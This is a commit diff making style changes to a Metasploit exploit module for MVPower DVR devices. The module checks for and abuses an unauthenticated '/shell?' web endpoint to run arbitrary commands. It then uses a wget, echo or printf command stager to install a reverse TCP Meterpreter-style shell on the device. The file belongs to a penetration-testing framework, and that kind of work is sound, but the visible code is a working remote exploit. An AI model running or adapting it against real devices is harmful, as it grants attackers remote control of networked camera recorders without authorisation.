Style update

Author: bcoles

modules/exploits/linux/http/mvpower_dvr_shell_exec.rb

@@ -3,8 +3,6 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-require 'msf/core'
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -47,39 +45,39 @@ def initialize(info = {})
       'Arch'           => ARCH_ARMLE,
       'DefaultOptions' =>
         {
-          'Payload' => 'linux/armle/mettle_reverse_tcp'
+          'Payload' => 'linux/armle/mettle_reverse_tcp',
+          'cmdstager::flavor' => 'wget'
         },
       'Targets'        =>
         [
           ['Automatic', {}]
         ],
-      'DefaultTarget'  => 0))
-    deregister_options('CMDSTAGER::FLAVOR')
+      'CmdStagerFlavor' => %w{ echo printf wget },
+      'DefaultTarget'   => 0))
   end
 
   def check
     begin
       fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
-      res = send_request_cgi({
+      res = send_request_cgi(
         'uri' => "/shell?echo+#{fingerprint}",
         'headers' => { 'Connection' => 'Keep-Alive' }
-      })
-      if res && res.body =~ /#{fingerprint}/
-        return Exploit::CheckCode::Vulnerable
+      )
+      if res && res.body.include?(fingerprint)
+        return CheckCode::Vulnerable
       end
     rescue ::Rex::ConnectionError
-      return Exploit::CheckCode::Unknown
+      return CheckCode::Unknown
     end
-    Exploit::CheckCode::Safe
+    CheckCode::Safe
   end
 
   def execute_command(cmd, opts)
     begin
-      res = send_request_cgi({
+      send_request_cgi(
         'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
         'headers' => { 'Connection' => 'Keep-Alive' }
-      })
-      return res
+      )
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
     end
@@ -88,12 +86,12 @@ def execute_command(cmd, opts)
   def exploit
     print_status("#{peer} - Connecting to target")
 
-    unless check == Exploit::CheckCode::Vulnerable
+    unless check == CheckCode::Vulnerable
       fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable")
     end
 
     print_good("#{peer} - Target is vulnerable!")
 
-    execute_cmdstager(flavor: :wget, linemax: 1500)
+    execute_cmdstager(linemax: 1500)
   end
 end